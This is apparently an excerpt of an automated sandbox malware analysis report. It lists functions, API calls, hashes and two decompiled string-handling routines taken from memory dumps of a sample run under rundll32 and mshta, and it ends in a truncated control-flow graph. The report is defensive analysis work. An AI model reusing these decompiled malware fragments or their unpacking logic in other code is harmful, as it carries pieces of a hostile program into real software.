                                            • API ID: AddressHandleModuleProc
                                            • String ID: Nv
                                            • API String ID: 1646373207-7069137
                                            • Opcode ID: af54ee0f4aabd60bea1298c0a682af49204ba641328120a15aad53143e852935
                                            • Instruction ID: d5e6142974a106701997a189f50486d54520f24abf55e627b50b448188ecebd9
                                            • Opcode Fuzzy Hash: af54ee0f4aabd60bea1298c0a682af49204ba641328120a15aad53143e852935
                                            • Instruction Fuzzy Hash: D5F037B5A01306AFEB10CF99D944AEA37BCEB15245B040058E801D3122EB38EE068BE0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DF0232 Relevance: 5.2, APIs: 4, Instructions: 171memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • memset.NTDLL ref: 05DF028E
                                            • CloseHandle.KERNEL32(?,?,00000100,?,00000000,?,05DDB047,00000000), ref: 05DF02DC
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,00000094,00000000,05DF1C4A,00000000,05DDB047,05DE6749,00000000,05DDB047,05DE30E3,00000000,05DDB047,05DE105E,00000000), ref: 05DF05E7
                                            • GetLastError.KERNEL32(?,00000000,?), ref: 05DF08E9
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseErrorFreeHandleHeapLastmemset
                                            • String ID:
                                            • API String ID: 2333114656-0
                                            • Opcode ID: 0ddea2cc5bb2986b6051ca29f7decf8627aa1afaa6ce98f803079fe367ec806f
                                            • Instruction ID: bdb5a60d3d655336fdb2a17e7db15f385d700fd453d3fda22763aa2c0fdef0e8
                                            • Opcode Fuzzy Hash: 0ddea2cc5bb2986b6051ca29f7decf8627aa1afaa6ce98f803079fe367ec806f
                                            • Instruction Fuzzy Hash: 36519F31604249FADF11BFA4AC4DFAE366AEB44350F024023FB4B97182DAB1C95197B3
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD1000 Relevance: 5.1, APIs: 4, Instructions: 83memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE6378: lstrlenW.KERNEL32(?,00000000,?,?,00000001,00000001,?,05DD1036,?,?,?,?), ref: 05DE639C
                                              • Part of subcall function 05DE6378: RtlAllocateHeap.NTDLL(00000000,00000001), ref: 05DE63AE
                                              • Part of subcall function 05DE6378: wcstombs.NTDLL ref: 05DE63BC
                                              • Part of subcall function 05DE6378: lstrlen.KERNEL32(00000000,?,?,?,?,?,00000000,?,?,00000001,00000001,?,05DD1036,?,?,?), ref: 05DE63E0
                                              • Part of subcall function 05DE6378: RtlAllocateHeap.NTDLL(00000000,00000002), ref: 05DE63F5
                                              • Part of subcall function 05DE6378: mbstowcs.NTDLL ref: 05DE6402
                                              • Part of subcall function 05DE6378: HeapFree.KERNEL32(00000000,00000000,?,?,00000001,00000001,?,05DD1036,?,?,?,?,?), ref: 05DE6414
                                              • Part of subcall function 05DE6378: HeapFree.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000001,00000001,?,05DD1036,?,?,?,?,?), ref: 05DE642E
                                            • GetLastError.KERNEL32 ref: 05DD109F
                                              • Part of subcall function 05DD582E: HeapFree.KERNEL32(00000000,00000000,00000000,?,00000000,?,00004000,00000001,00000001,00000000,00000000,00000000,00000000,?,?,00000000), ref: 05DD58DC
                                              • Part of subcall function 05DD582E: HeapFree.KERNEL32(00000000,?,00000000,?,00000000,?,00004000,00000001,00000001,00000000,00000000,00000000,00000000,?,?,00000000), ref: 05DD5900
                                              • Part of subcall function 05DD582E: HeapFree.KERNEL32(00000000,00000000,?,00000000,00000000,?,?,05DD1087,?,?,?,?,?,?,?), ref: 05DD590E
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DD10BB
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DD10CC
                                            • SetLastError.KERNEL32(00000000), ref: 05DD10CF
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$Free$AllocateErrorLastlstrlen$mbstowcswcstombs
                                            • String ID:
                                            • API String ID: 3867366388-0
                                            • Opcode ID: 3fb50151eb011c84f9b76bc2bc94d898b327c731c02f97b09f6326746f53ddaa
                                            • Instruction ID: 4c1683277c01a6773f1c0e5345e923094d17c8028687cb011846b4fd7ecc588b
                                            • Opcode Fuzzy Hash: 3fb50151eb011c84f9b76bc2bc94d898b327c731c02f97b09f6326746f53ddaa
                                            • Instruction Fuzzy Hash: DE310B36900108AFCF12AFA9D845CAEBFB5FB45320B154157F916A2220C7318A91DFA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEDA6D Relevance: 5.1, APIs: 4, Instructions: 83memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DEB4CF: lstrlen.KERNEL32(00000000,?,?,00000000,772D4620,?,00000001,00000001,?,05DE63D9,?,?,?,?,?,00000000), ref: 05DEB529
                                              • Part of subcall function 05DEB4CF: lstrlen.KERNEL32(?,?,?,00000000,772D4620,?,00000001,00000001,?,05DE63D9,?,?,?,?,?,00000000), ref: 05DEB547
                                              • Part of subcall function 05DEB4CF: RtlAllocateHeap.NTDLL(00000000,76EC6985,?), ref: 05DEB573
                                              • Part of subcall function 05DEB4CF: memcpy.NTDLL(00000000,00000000,00000000,?,00000001,00000001,?,05DE63D9,?,?,?,?,?,00000000), ref: 05DEB58A
                                              • Part of subcall function 05DEB4CF: HeapFree.KERNEL32(00000000,00000000), ref: 05DEB59D
                                              • Part of subcall function 05DEB4CF: memcpy.NTDLL(00000000,?,?,?,00000001,00000001,?,05DE63D9,?,?,?,?,?,00000000), ref: 05DEB5AC
                                            • GetLastError.KERNEL32 ref: 05DEDB0C
                                              • Part of subcall function 05DD582E: HeapFree.KERNEL32(00000000,00000000,00000000,?,00000000,?,00004000,00000001,00000001,00000000,00000000,00000000,00000000,?,?,00000000), ref: 05DD58DC
                                              • Part of subcall function 05DD582E: HeapFree.KERNEL32(00000000,?,00000000,?,00000000,?,00004000,00000001,00000001,00000000,00000000,00000000,00000000,?,?,00000000), ref: 05DD5900
                                              • Part of subcall function 05DD582E: HeapFree.KERNEL32(00000000,00000000,?,00000000,00000000,?,?,05DD1087,?,?,?,?,?,?,?), ref: 05DD590E
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DEDB28
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DEDB39
                                            • SetLastError.KERNEL32(00000000), ref: 05DEDB3C
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$Free$ErrorLastlstrlenmemcpy$Allocate
                                            • String ID:
                                            • API String ID: 2451549186-0
                                            • Opcode ID: d1cd05247b54382c6b211d3b345ac31f37776b5ca3bbf8cfc82692573f2b94d1
                                            • Instruction ID: 2f2e22c04a0f67d63591e9ac15a7194fe51661eda77cd41d3e5a7bb1a27428a6
                                            • Opcode Fuzzy Hash: d1cd05247b54382c6b211d3b345ac31f37776b5ca3bbf8cfc82692573f2b94d1
                                            • Instruction Fuzzy Hash: C8311A32904108EFCF12AFA9D845CDEBFB6FF48311B15415BF916A2220DB718A61DFA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD94E8 Relevance: 5.1, APIs: 4, Instructions: 76COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: memset
                                            • String ID:
                                            • API String ID: 2221118986-0
                                            • Opcode ID: 12460da87895967705b895bec88977fd0721ee240aa6ad3a3b10338015d1e99f
                                            • Instruction ID: 20e38bd591dd48f5487b646384d00c0453d46432f16ff00f923bb96cbc089702
                                            • Opcode Fuzzy Hash: 12460da87895967705b895bec88977fd0721ee240aa6ad3a3b10338015d1e99f
                                            • Instruction Fuzzy Hash: 46218E7260190ABFCB20AF60DC9496ABB39FF09350B44052AE94A86851D733F5B1DBF5
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDF123 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(00000000,00000008,00000000,00000000,?,?,05DEC0A9,00000000,00000000,00000004,00000000,?,05DEA6B6,?,?,00000000), ref: 05DDF12F
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                              • Part of subcall function 05DF27EB: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,05DDF15D,00000000,00000001,00000001,?,?,05DEC0A9,00000000,00000000,00000004,00000000), ref: 05DF27F9
                                              • Part of subcall function 05DF27EB: StrChrA.SHLWAPI(?,0000003F,?,?,05DEC0A9,00000000,00000000,00000004,00000000,?,05DEA6B6,?,?,00000000,05DDD3E9,?), ref: 05DF2803
                                            • memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,05DEC0A9,00000000,00000000,00000004,00000000,?,05DEA6B6,?), ref: 05DDF18D
                                            • lstrcpy.KERNEL32(00000000,00000000), ref: 05DDF19D
                                            • lstrcpy.KERNEL32(00000000,00000000), ref: 05DDF1A9
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: lstrcpy$AllocateHeaplstrlenmemcpy
                                            • String ID:
                                            • API String ID: 3767559652-0
                                            • Opcode ID: 7e1e9bd503e6e445980c0e48a8c5c01c8da58fd959898819e3975dfcbdc435d2
                                            • Instruction ID: ef87435ae77a4780fd7235b3656fc0affc040396b1f603bc8acaaec08175e992
                                            • Opcode Fuzzy Hash: 7e1e9bd503e6e445980c0e48a8c5c01c8da58fd959898819e3975dfcbdc435d2
                                            • Instruction Fuzzy Hash: B221A572605216FBCB11AF68CC48E9BFFB9EF16290B054056F90ADB211DA31D940CBB0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB5296 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 58%
                                            			E04AB5296(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E04AB4DF6(_t2);
				if(_t34 != 0) {
					_t30 = E04AB4DF6(_t28);
					if(_t30 == 0) {
						E04AB4C73(_t34);
					} else {
						_t39 = _a4;
						_t22 = E04AB79D7(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E04AB79D7(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}














                                            0x04ab5296
                                            0x04ab52a0
                                            0x04ab52a2
                                            0x04ab52a8
                                            0x04ab52a8
                                            0x04ab52b1
                                            0x04ab52b5
                                            0x04ab52c1
                                            0x04ab52c5
                                            0x04ab5339
                                            0x04ab52c7
                                            0x04ab52c7
                                            0x04ab52cb
                                            0x04ab52d0
                                            0x04ab52d5
                                            0x04ab52ef
                                            0x04ab52de
                                            0x04ab52de
                                            0x04ab52e2
                                            0x04ab52e5
                                            0x04ab52ea
                                            0x04ab52ea
                                            0x04ab52f4
                                            0x04ab531c
                                            0x04ab5322
                                            0x04ab5325
                                            0x04ab52f6
                                            0x04ab52f8
                                            0x04ab5300
                                            0x04ab530b
                                            0x04ab5310
                                            0x04ab5310
                                            0x04ab532c
                                            0x04ab5333
                                            0x04ab5334
                                            0x04ab5334
                                            0x04ab52c5
                                            0x04ab5344

                                            APIs
                                            • lstrlen.KERNEL32(00000000,00000008,?,76EC4D40,?,?,04AB4BF5,?,?,?,?,00000102,04AB5388,?,?,00000000), ref: 04AB52A2
                                              • Part of subcall function 04AB4DF6: RtlAllocateHeap.NTDLL(00000000,00000000,04AB5522), ref: 04AB4E02
                                              • Part of subcall function 04AB79D7: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,04AB52D0,00000000,00000001,00000001,?,?,04AB4BF5,?,?,?,?,00000102), ref: 04AB79E5
                                              • Part of subcall function 04AB79D7: StrChrA.SHLWAPI(?,0000003F,?,?,04AB4BF5,?,?,?,?,00000102,04AB5388,?,?,00000000,00000000), ref: 04AB79EF
                                            • memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,04AB4BF5,?,?,?,?,00000102,04AB5388,?), ref: 04AB5300
                                            • lstrcpy.KERNEL32(00000000,00000000), ref: 04AB5310
                                            • lstrcpy.KERNEL32(00000000,00000000), ref: 04AB531C
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: lstrcpy$AllocateHeaplstrlenmemcpy
                                            • String ID:
                                            • API String ID: 3767559652-0
                                            • Opcode ID: f9af87e60100935aaa786e11ca16045b131b841f1cc90d56404fae42f92243b6
                                            • Instruction ID: b56fabea1fa51884723e249e5b307330a5ac26981d9b0ebdea571d273a55aa0d
                                            • Opcode Fuzzy Hash: f9af87e60100935aaa786e11ca16045b131b841f1cc90d56404fae42f92243b6
                                            • Instruction Fuzzy Hash: A421CD72900259BBDB129F78C954AEF7FBDAF1A288B444050F9859F213E674E901D7E0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEA5AD Relevance: 5.1, APIs: 4, Instructions: 64COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: memset
                                            • String ID:
                                            • API String ID: 2221118986-0
                                            • Opcode ID: 280e02b369eb955c104324183c048bd4a622080a89de0441f21e1e2b9aab48cb
                                            • Instruction ID: b8986ac18bcd6e971ae4a6d07f265ff5d948a8efd21f07ad4d1b4bd0eca793df
                                            • Opcode Fuzzy Hash: 280e02b369eb955c104324183c048bd4a622080a89de0441f21e1e2b9aab48cb
                                            • Instruction Fuzzy Hash: C411917260190ABBC711BFA0DC48E66B779FF0A310B04011AE54959850E772F5B6DBE5
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB6203 Relevance: 5.0, APIs: 4, Instructions: 39stringCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB6203(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E04AB4DF6(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}








                                            0x04ab6218
                                            0x04ab621c
                                            0x04ab6226
                                            0x04ab622b
                                            0x04ab6230
                                            0x04ab6232
                                            0x04ab623a
                                            0x04ab623f
                                            0x04ab624d
                                            0x04ab6252
                                            0x04ab625c

                                            APIs
                                            • lstrlenW.KERNEL32(004F0053,?,76EC5520,00000008,056293CC,?,04AB6861,004F0053,056293CC,?,?,?,?,?,?,04AB6BB4), ref: 04AB6213
                                            • lstrlenW.KERNEL32(04AB6861,?,04AB6861,004F0053,056293CC,?,?,?,?,?,?,04AB6BB4), ref: 04AB621A
                                              • Part of subcall function 04AB4DF6: RtlAllocateHeap.NTDLL(00000000,00000000,04AB5522), ref: 04AB4E02
                                            • memcpy.NTDLL(00000000,004F0053,76EC69A0,?,?,04AB6861,004F0053,056293CC,?,?,?,?,?,?,04AB6BB4), ref: 04AB623A
                                            • memcpy.NTDLL(76EC69A0,04AB6861,00000002,00000000,004F0053,76EC69A0,?,?,04AB6861,004F0053,056293CC), ref: 04AB624D
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: lstrlenmemcpy$AllocateHeap
                                            • String ID:
                                            • API String ID: 2411391700-0
                                            • Opcode ID: 1be8b662be5ee1a08552299ecd3fa0451b4a3bbdfa6c93e0bb3141b56004181f
                                            • Instruction ID: cac63284eb5da91f316cb5090c95bc10c669141411e6ac7c9199124fa0825130
                                            • Opcode Fuzzy Hash: 1be8b662be5ee1a08552299ecd3fa0451b4a3bbdfa6c93e0bb3141b56004181f
                                            • Instruction Fuzzy Hash: 97F04972900118BB9F11EFA8CC89CCF7BACEF493587014062FD04DB202E631EA109BE0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE5350 Relevance: 5.0, APIs: 4, Instructions: 38stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(69B25F44,?,?,00000000,05DE385A,00000000,00000000,?,00000000,69B25F44,?,?,?,?,?,69B25F44), ref: 05DE5361
                                            • lstrlen.KERNEL32(?,?,?,?), ref: 05DE5366
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • memcpy.NTDLL(00000000,?,00000000,?,?,?,?), ref: 05DE5382
                                            • lstrcpy.KERNEL32(00000000,?), ref: 05DE53A0
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: lstrlen$AllocateHeaplstrcpymemcpy
                                            • String ID:
                                            • API String ID: 1697500751-0
                                            • Opcode ID: b3496ccc4adf77c769e152aac2cbda0ad08383c011085114c8f57c293c4e301b
                                            • Instruction ID: e94e246c601606769bed4ac283e8a6523a205e258fdbd8b0124112dd2ed3d6d0
                                            • Opcode Fuzzy Hash: b3496ccc4adf77c769e152aac2cbda0ad08383c011085114c8f57c293c4e301b
                                            • Instruction Fuzzy Hash: F0F0C2B7508B41ABD72176A9AC48E1FBF98FBC5255B150416F94A83205D731D8048BB1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEE631 Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(06378560,00000000,00000000,76F081D0,05DDACFB,00000000), ref: 05DEE641
                                            • lstrlen.KERNEL32(?), ref: 05DEE649
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • lstrcpy.KERNEL32(00000000,06378560), ref: 05DEE65D
                                            • lstrcat.KERNEL32(00000000,?), ref: 05DEE668
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: lstrlen$AllocateHeaplstrcatlstrcpy
                                            • String ID:
                                            • API String ID: 74227042-0
                                            • Opcode ID: 3b2c3a15c346b837c3e09028780c7c313481517c836f0b8b39bab55c4b1a6b37
                                            • Instruction ID: 123e79b76a9af0180db65f17be69cbb9df9c5be25c23114435bfe37fbde99f94
                                            • Opcode Fuzzy Hash: 3b2c3a15c346b837c3e09028780c7c313481517c836f0b8b39bab55c4b1a6b37
                                            • Instruction Fuzzy Hash: 7CE09A33A11221AB8A11ABE8AC4CC9FFFACEF896213044817FA00D3200CB2198008BA1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB3970 Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(05629B90,00000000,00000000,742CC740,04AB6568,00000000), ref: 04AB3980
                                            • lstrlen.KERNEL32(?), ref: 04AB3988
                                              • Part of subcall function 04AB4DF6: RtlAllocateHeap.NTDLL(00000000,00000000,04AB5522), ref: 04AB4E02
                                            • lstrcpy.KERNEL32(00000000,05629B90), ref: 04AB399C
                                            • lstrcat.KERNEL32(00000000,?), ref: 04AB39A7
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: lstrlen$AllocateHeaplstrcatlstrcpy
                                            • String ID:
                                            • API String ID: 74227042-0
                                            • Opcode ID: 497546d66f039b65c747369c3b6f6b7d72cfd40e20bccfa6dcf77cc44a09b2d4
                                            • Instruction ID: dcfb72a55b0fb093c808cd119124e09f9b2a863c5594fc02136a7fb3c01e834d
                                            • Opcode Fuzzy Hash: 497546d66f039b65c747369c3b6f6b7d72cfd40e20bccfa6dcf77cc44a09b2d4
                                            • Instruction Fuzzy Hash: 05E09273501A206B87119BA8AC48C9BBBACEF9D6617040416FB00D3123C7299C06CBE1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Executed Functions

                                            Function 0000023DBE770FB2 Relevance: .0, Instructions: 9COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000012.00000003.454655669.0000023DBE770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000023DBE770000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_3_23dbe770000_mshta.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 803b182bafeaa825f11855980a7561c2ac48f87d6f3d3a5e224f7f9bb3299046
                                            • Instruction ID: 4f65feef70d3907e409f38d8d33e7507d32d6a55e393cce84c4a17458a8e2bb8
                                            • Opcode Fuzzy Hash: 803b182bafeaa825f11855980a7561c2ac48f87d6f3d3a5e224f7f9bb3299046
                                            • Instruction Fuzzy Hash: 57B0120446FBC24FD70313732C7925EAF60AA47518FCA19C78046C6093E04C069E9322
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 0000023DBE770FC1 Relevance: .0, Instructions: 5COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000012.00000003.454655669.0000023DBE770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000023DBE770000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_3_23dbe770000_mshta.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
                                            • Instruction ID: b4547a568f15dcc1bd13c5675c454f8ab2e229ff00807a1e6fcb6ac90fbd8db3
                                            • Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
                                            • Instruction Fuzzy Hash: 4A9004044D541757D41411F13C5D35DD04173CC554FD544C04417D1144D5CD03F75153
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Executed Functions

                                            Function 00938D20 Relevance: 7.6, APIs: 3, Strings: 1, Instructions: 648COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 0 938d20-938d7c 1 938d93-938d9b 0->1 2 938d7e-938d91 0->2 3 938da0-938da8 1->3 2->3 4 938db2-938dba 3->4 5 938daa-938dad 3->5 7 938dff-938e09 4->7 8 938dbc-938dd9 4->8 6 9393be-9393da 5->6 9 938e0f-938e1f 7->9 10 93933e 7->10 14 938de3-938dfd call 946da0 8->14 15 938ddb-938dde 8->15 9->10 13 938e25-938e31 9->13 12 939343-939346 10->12 16 939357-93935a 12->16 17 939348-939352 NtUnmapViewOfSection 12->17 18 938e37-938e3f 13->18 19 939064-939068 13->19 14->7 22 939395-93939d 15->22 24 939390-939391 16->24 25 93935c-939367 16->25 17->16 20 938e45-938e80 call 9359d4 18->20 21 93906e-939073 18->21 19->20 19->21 36 939337-93933c 20->36 37 938e86-938ebc call 9410b4 20->37 21->22 22->6 26 93939f-9393b6 call 9551f8 22->26 24->22 28 939372-939379 NtClose 25->28 29 939369-93936b 25->29 26->6 35 93937e-939388 28->35 29->28 32 93936d-939370 29->32 32->24 35->24 36->12 37->12 40 938ec2-938ed6 call 93c558 37->40 40->12 43 938edc-938edf 40->43 44 938ee1-938eeb call 9341aa 43->44 45 938ef0-938ef5 43->45 44->45 47 938f22-938f48 call 9341aa 45->47 48 938ef7-938eff 45->48 53 938f5b-938f5f 47->53 54 938f4a-938f58 47->54 48->47 49 938f01-938f02 48->49 51 938f05-938f20 49->51 51->47 51->51 55 938f61-938f75 53->55 56 938f78-938f85 53->56 54->53 55->56 57 938f8b-938fb5 56->57 58 939078-93907f 56->58 59 938fb7-938fbe 57->59 60 938fcd-938ff0 call 956c40 57->60 61 939081-939088 58->61 62 939097-9390bc 58->62 59->60 63 938fc0-938fc7 59->63 71 938ff6-93901d call 956c40 60->71 72 939148-93914a 60->72 61->62 64 93908a-939091 61->64 62->72 73 9390c2-9390e6 call 9387dc 62->73 63->60 66 939052-93905f 63->66 64->62 67 939136-93913a 64->67 70 939140-939143 call 9341aa 66->70 67->70 70->72 71->72 82 939023-93904a call 956c40 71->82 72->12 75 939150-939194 call 9341aa 72->75 73->72 83 9390e8-93910c call 9387dc 73->83 89 93919a-9391df call 9551f8 * 2 75->89 90 93931c-93931e 75->90 82->72 91 939050 82->91 83->72 92 93910e-939132 call 9387dc 83->92 102 9391e5-939212 call 953fd4 89->102 103 9392eb-9392f2 89->103 90->12 93 939320-93932b 90->93 91->66 92->72 99 939134 92->99 93->12 96 93932d-939335 93->96 96->12 99->67 107 939302-939308 102->107 108 939218-939225 102->108 109 9392f4-9392f9 103->109 110 9392fb 103->110 113 93930a-939314 107->113 111 939227-93923b 108->111 112 93923d-93923f 108->112 109->113 114 9392fd-939300 110->114 111->112 112->114 115 939245-93929a call 9341aa 112->115 113->90 114->107 114->113 121 9392a4-9392c2 call 932b58 115->121 122 93929c-9392a1 115->122 121->113 125 